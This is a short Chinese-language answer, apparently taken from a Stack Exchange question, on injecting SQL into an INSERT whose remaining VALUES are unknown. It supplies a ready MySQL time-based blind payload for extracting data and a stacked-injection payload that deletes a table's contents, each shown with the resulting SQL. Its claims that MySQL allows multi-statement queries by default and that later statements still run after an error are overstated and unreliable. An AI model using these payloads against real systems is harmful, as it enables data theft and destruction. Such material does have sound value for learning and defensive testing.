INSERT INTO语句VALUES参数未知时的SQL注入可行性问题
即使不知道foo后续的VALUES参数数量与对应数据类型,依然可以完成SQL注入,常见的实现思路有两种:
1. 布尔/时间盲注(兼容性最高,不需要数据库支持多语句执行)
不需要破坏原有INSERT语句的结构,仅在可控的字符串位置插入判断逻辑即可,整个语句语法完全合法,不会出现参数不匹配问题。
以MySQL为例,在foo的位置输入如下payload即可实现时间盲注:' AND IF(USER()='root@localhost', SLEEP(5), 0) AND '
拼接后的完整SQL语句为:
INSERT INTO somedb VALUES (1, '' AND IF(USER()='root@localhost', SLEEP(5), 0) AND '', 2020-5-14, 'somestuff', 'someotherstuff');
语句执行时如果当前数据库用户为root@localhost就会触发5秒延迟,你可以通过响应时间差异逐位读取数据库中的任意数据,全程不需要关心后续参数的数量和类型。
2. 堆叠注入(适用于支持多语句执行的数据库,比如默认开启多语句查询的MySQL)
如果需要执行增删改之类的操作,不需要补全参数也能实现:多数支持多语句执行的数据库会按顺序执行每条语句,即使前一条语句因为参数不匹配报错,后面的恶意语句依然会正常执行。
直接输入常规的堆叠注入payload即可:'); DELETE FROM somedb;--
拼接后的完整SQL为:
INSERT INTO somedb VALUES (1, ''); DELETE FROM somedb;--', 2020-5-14, 'somestuff', 'someotherstuff');
第一条INSERT语句确实会因为参数数量不足报错,但第二条DELETE语句语法完全合法,会正常执行完成注入。
内容的提问来源于stack exchange,提问作者someguy
相关产品推荐
相关产品推荐

